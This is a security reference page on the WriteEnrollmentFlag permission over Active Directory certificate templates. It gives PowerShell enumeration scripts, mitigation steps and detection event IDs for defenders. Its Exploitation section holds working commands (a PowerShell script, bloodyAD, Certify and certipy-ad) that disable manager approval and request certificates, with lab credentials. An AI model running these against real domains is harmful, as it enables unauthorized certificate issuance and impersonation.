WriteCertificateEnrollment

Summary

FSProtect ACL Alias

WriteEnrollmentFlag

AD Alias

Write msPKI-Enrollment-Flag

Affected Object Types

Certificate Templates

Exploitation Certainty

Certain

AD Attribute

msPKI-Enrollment-Flag

AD Attribute Guid

d15ef7d8-f226-46db-ae79-b34e560bd12c

AD Right

WriteProperty

Description

The WriteEnrollmentFlag permission in Active Directory allows an account to modify the msPKI-Enrollment-Flag attribute on certificate templates, which controls various enrollment behaviors and security features. When properly configured, this permission enables administrators to manage certificate enrollment options, such as requiring manager approval, enabling auto-enrollment, or setting specific authentication requirements. These configurations are crucial for maintaining the security and integrity of the Public Key Infrastructure (PKI) within an organization.

However, if misconfigured, the WriteEnrollmentFlag permission can introduce significant security vulnerabilities. An attacker with this permission could modify certificate template enrollment flags to bypass security controls, such as disabling manager approval requirements or enabling user-supplied subject information. These modifications could allow unauthorized certificate issuance, potentially leading to identity spoofing, authentication bypass, or man-in-the-middle attacks. By manipulating these flags, an attacker could undermine the trust model of the entire PKI, compromising encrypted communications and digital signatures throughout the organization.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WriteEnrollmentFlag entries.

1. Find-WriteEnrollmentFlag function

function Find-WriteEnrollmentFlag {
    [CmdletBinding()]
    param([string]$OutputPath = "WriteEnrollmentFlag.csv", [string]$Target     = $null  )
    $SearchBase = (Get-ADRootDSE).ConfigurationNamingContext
    $act  = [System.Security.AccessControl.AccessControlType]::Allow
    $adr  = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $guid = 'd15ef7d8-f226-46db-ae79-b34e560bd12c'
    $ldapFilter = '(objectClass=pKICertificateTemplate)'
    if ($Target) { $ldapFilter = "(&(objectClass=pKICertificateTemplate)(cn=$Target))"}
    $rows = Get-ADObject -LDAPFilter $ldapFilter -SearchBase $SearchBase |
    ForEach-Object {
        $dn = $_.DistinguishedName
       
       $name = $_.Name;
        (Get-Acl "AD:$dn").Access | Where-Object { $_.AccessControlType -eq $act -and($_.ActiveDirectoryRights -band $adr) -and $_.ObjectType -eq $guid -and -not $_.IsInherited } | Select-Object `
            @{n='TemplateName';e={ $name}},  # add readable name
            @{n='InternalThreat';e={$_.IdentityReference}}}
    if ($OutputPath) {$rows | Export-Csv -Path $OutputPath -NoTypeInformation} else {$rows }
}

2. Scan all domain certificate templates

Find-WriteEnrollmentFlag

3. Scan a specific template

Find-WriteEnrollmentFlag -Target GMUsers

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteEnrollmentFlag entries without relying on any external modules or dependencies.

1. Find-WriteEnrollmentFlagSimple function

function Find-WriteEnrollmentFlagSimple {
    [CmdletBinding()]
    param([string]$Target=$null,[string]$OutputPath="WriteEnrollmentFlag.csv")
    $Allow=[System.Security.AccessControl.AccessControlType]::Allow
    $WR=[System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $Attr=[Guid]'d15ef7d8-f226-46db-ae79-b34e560bd12c'
    $rows=[System.Collections.Generic.List[object]]::new()
    if($Target){ try{$entries=@([System.DirectoryServices.DirectoryEntry]("LDAP://$Target"))}catch{Write-Error "Bind fail: $_";return}}else{
        try{
            $cfg=([ADSI]"LDAP://RootDSE").configurationNamingContext
            $root=[System.DirectoryServices.DirectoryEntry]("LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$cfg")
            $ds=[System.DirectoryServices.DirectorySearcher]::new($root);$ds.Filter="(objectClass=pKICertificateTemplate)";$ds.PageSize=1000
            [void]$ds.PropertiesToLoad.Add("distinguishedName");[void]$ds.PropertiesToLoad.Add("name")
            $entries=@($ds.FindAll()|ForEach-Object{try{$_.GetDirectoryEntry()}catch{}})
        }catch{Write-Error "LDAP enumeration failed: $_";return}
    }
    foreach($e in $entries){try{
            $dn=$e.distinguishedName; $name=$e.Properties["name"].Value; if(-not $name){$name=(($dn -split ',',2)[0]-replace '^CN=')}
            $e.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) |
            Where-Object{ $_.AccessControlType -eq $Allow -and ($_.ActiveDirectoryRights -band $WR) -and $_.ObjectType -eq $Attr -and -not $_.IsInherited } |
            ForEach-Object{
                $who=try{$_.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value}catch{$_.IdentityReference.Value}
                $rows.Add([pscustomobject]@{TemplateName=$name;InternalThreat=$who})|Out-Null}}catch{}}
    if($OutputPath){$rows|Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8}else{$rows}
}

2. Scan all the domain templates

Find-WriteEnrollmentFlagSimple

3. Scan a specific template

Find-WriteEnrollmentFlagSimple -Target "CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs"

Active Directory Services Interface

1. Open Active Directory Services Interface (ADSI edit) .

2. Right‑click ADSI Edit and select Connect to... from the context menu.

3. Select Configuration in Select a well known Naming Context, then click OK.

4. Navigate to Configuration > Services > Public Key Services > Certificate Templates.

5. In the Certificate Templates list, double-click Certificate Template.

6. In the Properties window, navigate to the Security tab.

7. Click on the Advanced button to open the Advanced Security Settings dialog.

8. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

9. Click Edit to modify the selected ACE.

10. In the permissions list, locate and check the option Write msPKI-Enrollment-Flag.

11. Click OK to save your changes and close the dialogs.

Exploitation

When manager approval is required for a certificate template, your certificate request must first be approved by the designated manager before the certificate can be issued.

The following examples demonstrate exploitation on Windows and Linux environments.

Disabling Manager Approval on a Certificate Template using powershell

$TemplateName = 'USER_TEMP'
try {
  $root = [ADSI]"LDAP://RootDSE"
  $base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($root.configurationNamingContext)"
  $ds = New-Object DirectoryServices.DirectorySearcher([ADSI]$base,
        "(&(objectClass=pKICertificateTemplate)(|(cn=$TemplateName)(displayName=$TemplateName)))")
  if ($r = $ds.FindOne()) {
    $t = $r.GetDirectoryEntry()
    $f = $t.Properties["msPKI-Enrollment-Flag"].Value
    if (($f -band 0x2) -eq 0x2) { $t.Properties["msPKI-Enrollment-Flag"].Value = $f -band -bnot 0x2; $t.CommitChanges() }
  }
} catch { Write-Error $_ }

Example:

$TemplateName = 'GMUsers'
try {
  $root = [ADSI]"LDAP://RootDSE"
  $base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($root.configurationNamingContext)"
  $ds = New-Object DirectoryServices.DirectorySearcher([ADSI]$base,
        "(&(objectClass=pKICertificateTemplate)(|(cn=$TemplateName)(displayName=$TemplateName)))")
  if ($r = $ds.FindOne()) {
    $t = $r.GetDirectoryEntry()
    $f = $t.Properties["msPKI-Enrollment-Flag"].Value
    if (($f -band 0x2) -eq 0x2) { $t.Properties["msPKI-Enrollment-Flag"].Value = $f -band -bnot 0x2; $t.CommitChanges() }
  }
} catch { Write-Error $_ }

Request a Certificate After Manager Approval Is Disabled

.\Certify.exe request /ca:"<host>\<caName>" /template:"<templateName>"

Example:

.\Certify.exe request /ca:"DC.Forestall.labs\Forestall-ROOT-CA" /template:GMUsers

Linux

When manager approval is required for a certificate template, your certificate request must first be approved by the designated manager before the certificate can be issued.

Disabling Manager Approval on a Certificate Template using Certipy

Retrieve the current value of the msPKI-Enrollment-Flag attribute

bloodyAD --host <host>  -d <domain> -u <user> -p <pass> get object '<templatedn>' --attr msPKI-Enrollment-Flag

Compute the new msPKI-Enrollment-Flag setting

python -c "print(11 & ~0x2)"

Disable the Manager Approval Requirement

bloodyAD --host <host>  -d <domain> -u <user> -p <pass> set object '<templatedn>' msPKI-Enrollment-Flag -v 9

Example:

bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object 'CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs' --attr msPKI-Enrollment-Flag

python -c "print(11 & ~0x2)"

bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object 'CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs' msPKI-Enrollment-Flag -v 9

Request a Certificate After Manager Approval Is Disabled

certipy-ad req -u <user>@<domain> -p '<pass>' -ca '<ca>' -template <templatename> -target <dcip>

Example:

certipy-ad req -u [email protected] -p 'Temp123!' -ca 'Forestall-Root-CA' -template GMUsers -target 192.168.100.128

Mitigation

1. Open Active Directory Services Interface (ADSI edit) .

2. Right-click to ADSI Edit and select Connect to... from the context menu.

3. Select Configuration on Select a well known Naming Context and click OK.

4. Navigate to Configuration > Services > Public Key Services > Certificate Templates.

5. In the Certificate Templates list, double-click the Certificate Template.

6. In the Properties window, navigate to the Security tab.

7. Click the Advanced button to open the Advanced Security Settings dialog.

8. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

9. Click Edit to modify the selected ACE.

10. In the permissions list, locate and remove the option Write msPKI-Enrollment-Flag.

11. Click OK to save your changes and close the dialogs.

Detection

Adding new Access Control Entries on the Active Directory objects changes the ntSecurityDescriptor attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event IDs to identify dangerous modifications.

Event ID
Description
Fields/Attributes
References

5136

A directory service object was modified.

ntSecurityDescriptor

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136

4662

An operation was performed on an object.

AccessList, AccessMask

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

4886

Certificate Services received a certificate request.

CertificateTemplate, Requester

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)

4887

Certificate Services approved a certificate request and issued a certificate.

CertificateTemplate, Requester

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)

References

Last updated

Was this helpful?